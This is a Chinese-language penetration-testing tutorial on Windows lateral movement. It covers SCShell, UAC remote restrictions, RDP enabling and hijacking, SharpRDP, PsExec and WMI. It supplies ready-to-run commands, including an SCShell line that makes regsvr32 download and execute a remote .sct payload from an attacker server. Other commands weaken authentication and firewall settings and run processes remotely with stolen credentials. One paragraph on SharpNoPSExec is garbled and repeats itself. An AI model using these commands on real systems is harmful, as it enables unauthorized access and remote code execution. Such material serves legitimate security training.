利用系统服务
SCShell
SCShell是一款利用系统服务的无文件横向移动工具。与传统的创建远程服务的方法不同,SCShell利用提供的用户凭据,通过ChangeServiceConfigA API修改远程主机上的服务配置,将服务的二进制路径名修改为指定的程序或攻击载荷,然后重启服务。执行结束后,服务二进制路径将恢复为原始路径。
SCShell需要提供远程主机的管理员权限用户的凭据,并且需要已知远程主机上的系统服务名称。
下载地址:https://github.com/Mr-Un1k0d3r/SCShell
使用方法:只需输入目标机器 IP、要利用的服务名、payload 地址、域及用户名和密码。
SCShell.exe 192.168.197.131 XblAuthManager "C:\windows\system32\cmd.exe /c C:\windows\system32\regsvr32.exe /s /n /u /i://your.website/payload.sct scrobj.dll" . administrator Password
XblAuthManager服务默认是windows10以上才有,win7上面没有,所以我们选择defragsvc服务,其余的还有msbuild**等等。**
步骤:
①通过Metasploit启动一个Web Delivery,并生成用于Regsvr32执行的Payload
SCShell.exe 192.168.52.143 defragsvc "C:\Windows\System32\cmd.exe /c C:\Windows\System32\regsvr32.exe /s /n /u /i:http://192.168.5.129:8080/W0A83e1QPzcMka9.sct scrobj.dll" god.org Administrator Admin@123
执行后,远程主机成功上线。
与SCShell的利用思路相似的还有SharpNoPSExec,该工具将查询所有服务并随机选择一个启动类型为禁用或手动、当前状态为已停止并具有LocalSystem特权的服务,通过与SCShell的利用思路相似的还有SharpNoPSExec,该工具将查询所有服务并随机选择一个启动类型为禁用或手动、当。状态为已停止并具有LocalSystem特权的服务,
UAC Remote Restrictions
UAC(用户账户控制)使计算机用户能够以非管理员身份执行日常任务。本地管理员组中任何非RD500的其他管理员用户也将使用最小权限原则运行大多数应用程序,具有类似标准用户的权限。当执行需要管理员权限的任务时,Windows会自动提示用户予以批准。
微软在Windows Vista以后的操作系统中引入了UAC Remote Restrictions(远程限制)。此机制有助于防止本地恶意软件以管理权限远程运行。因此,如果测试人员使用计算机本地用户进行需要管理员权限的远程管理操作,无论是schtasks还是PsExec、WMI、WinRM、哈希传递攻击,都只能使用RID 500(Administrator)的本地管理员用户,使用其他任何用户包括非RID 500的本地管理员用户都会提示“拒绝访问”。
UAC Remote Restrictions只限制本地用户,域管理员用户不受限制,因此会在很大程度上限制工作组环境中的横向移动。有条件的可以通过执行以下命令并重启系统来关闭UAC Remote Restrictions。
reg add "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System"/v LocalAccountTokenFilterPolicy /t REG_DWORD /d 1 /f
远程桌面利用
利用远程桌面进行横向移动是常见的方法。当内网中的其他主机开启了远程桌面服务后,测试人员可以通过已获取的用户凭据,借助内网代理等技术进行远程登录,通过远程桌面服务对目标主机进行实时操作。但是这种方法可能将已登录的用户强制退出,容易被管理员发现。远程桌面协议(Remote Desktop Protocol,RDP)
远程桌面的确定和开启
使用以下命令,通过查询注册表来确定当前主机是否开启了远程桌面功能,若字段值为0,则说明RDP服务已启动;若为1,则说明RDP服务已禁用。
reg query "HKLM\SYSTEM\CurrentControlSet\Control\Terminal Server" /v fDenyTSConnections
执行以下命令可在本地开启远程桌面功能:
#开启远程在桌面连接功能
reg add "HKLM\SYSTEM\CurrentControlSet\Control\Terminal Server" /v fDenyTSConnections /t REG_DWORD /d 0 /f
#关闭“仅允许运行使用网络级别身份验证的远程桌面的计算机连接”(鉴权)
reg add "HKLM\SYSTEM\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp" /v UserAuthentication /t REG_DWORD /d 0
#设置防火墙策略放行3389端口
netsh advfirewall firewall add rule name="Remote Desktop" protocol=TCP dir=in localport=3389 action=allow
对于远程主机,可以通过WMI来开启其远程桌面功能:
wmic /Node:192.168.5.128 /User:Administrator /Password:Admin@123 RDTOGGLE WHERE ServerName='WIN2016-WEB3' CALL SetAllowTSConnections 1
需要指定远程主机的P、主机名和用户凭据
RDP Hijacking
“RDP Hijacking”(远程桌面劫持):渗透测试人员可以通过已获取的SYSTEM权限劫持其他用户的RDP会话,并在未授权的情况下成功登入目标系统,即使该用户的会话已断开。
远程桌面劫持需要获取系统SYSTEM权限并执行tsco命令。该命令提供了一个切换用户会话的功能。在正常情况下,切换会话时需要提供目标用户的登录密码,但在SYSTEM权限下能够完全绕过验证,不输入密码即可切换到目标用户的会话,从而实现未授权登录。
SharpRDP
SharpRDP是一款开源工具,可以通过远程桌面协议在远程主机上执行系统命令,且不需GUI客户端。该工具需要远程主机开启远程桌面功能,并且防火墙放行3389端口。
通常在内网渗透时,如果想登录一台内网主机的远程桌面,需要先搭建内网代理,然后使用RDP客户端进行连接。但是,测试人员可以直接将SharpRDP上传到跳板机,然后获取到的用户凭据,对内网其他主机执行系统命令。这样就省去了内网代理等中间环节。
下载地址:
https://github.com/0xthirteen/SharpRDP
PsExec远程控制
PsExec是微软官方提供的一款实用的Windows远程控制工具,可以根据凭据在远程系统上执行管理操作,并且可以获得与命令行几乎相同的实时交互性。PsExec最强大的功能之一就是可以在远程系统中启动交互式命令提示窗口,以便实时显示有关远程系统的信息。
PsExec原理是通过SMB连接到服务端的Admin$共享,并释放名为“psexesvc.exe”的二进制文件,然后注册名为“PSEXESVC”服务。当客户端执行命令时,服务端通过PSEXESVC服务启动相应的程序执行命令并回显数据。运行结束后,PSEXESVC服务会被删除。
用PsExec进行远程操作需要具备以下条件:①远程主机开启了Admin$共享,②远程主机未开启防火墙或放行445端口。执行以下命令:
PsExec.exe -accepteula \\192.168.5.128 -u HACK-MY\Administrator -p Admin@123 -s cmd.exe
#-accepteula,禁止弹出许可证对话框;-u,指定远程主机的用户名;-p,指定用户的密码
#-S,以SYSTEM权限启动进程,如果未指定该参数,就将以管理员权限启动进程
用域管理员用户的凭据连接远程主机(10.10.10.19),并以SYSTEM权限启动一个交互式命令行。
在内网渗透中,如果已有相应凭据,那么可以直接使用PsExec连接远程主机
PsExec.exe -accepteula \\192.168.52.138 cmd.exe
Impacket和Metasploit都内置了基于PsExec执行远程命令的脚本或模块,如Impacket中的psexec.py脚本、Metasploit中的exploit/windows/smb/psexec模块都可以完成相同的操作。
WMI的利用
WMI (Windows Management Instrumentation,Windows管理规范)是一项核心的Windows管理技术。用户可以通过WMI管理本地和远程计算机。Windows为远程传输WMI数据提供了两个可用的协议,即分布式组件对象模型(Distributed Component Object Model,DCOM)和Windows远程管理(Windows Remote Management,WinRM),使得WMI对象的查询、事件注册、WM类方法的执行和类的创建等操作都能够远程进行。
在横向移动时,测试人员可以利用WMI提供的管理功能,通过已获取的用户凭据,与本地或远程主机进行交互,并控制其执行各种行为。目前有两种常见的利用方法:一是通过调用WMI的类方法进行远程执行,如Win32_Process类中的Create方法可以在远程主机上创建进程,Win32_Product类中的Install方法可以在远程主机上安装恶意的MSI;二是远程部署WMI事件订阅,在特定条的事件发生时触发攻击。
利用WMI进行横向移动需要具备以下条件:①远程主机的WMI服务为开启状态(默认开启);②远程主机防火墙放行135端口,这是WMI管理的默认端口。
常规利用方法
在Windows上可以通过wmic.exe和PowerShell Cmdlet来使用WMI数据和执行WMI方法。Wmic.exe是一个与WMI进行交互的强大的命令行工具,拥有大量的WMI对象的默认别名,可以执行许多复杂的查询。Windows PowerShell也提供了许多可以与WMI进行交互的Cmdlet,如Invoke-WmiMethod、Set-WmiInstance等。
执行远程查询
wmic /node:192.168.5.128 /user:Administrator /password:Admin@123 process list brief
#/node,指定远程主机的地址;/user,指定远程主机的用户名;/password,指定用户的密码
通过WMIC查询远程主机(10.10.10.19)上运行的进程信息。
创建远程进程
wmic /node:192.168.52.138 /user:Administrator /password:Admin@123 process call create "cmd.exe /c ipconfig > C:\result.txt"
通过调用Win32 Process.Create方法在远程主机上创建进程,启动CMD来执行系统命令。
由于WMIC在执行命令时没有回显,因此可以将执行结果写入文件,然后通过建立共享连接等方式使用type命令远程读取。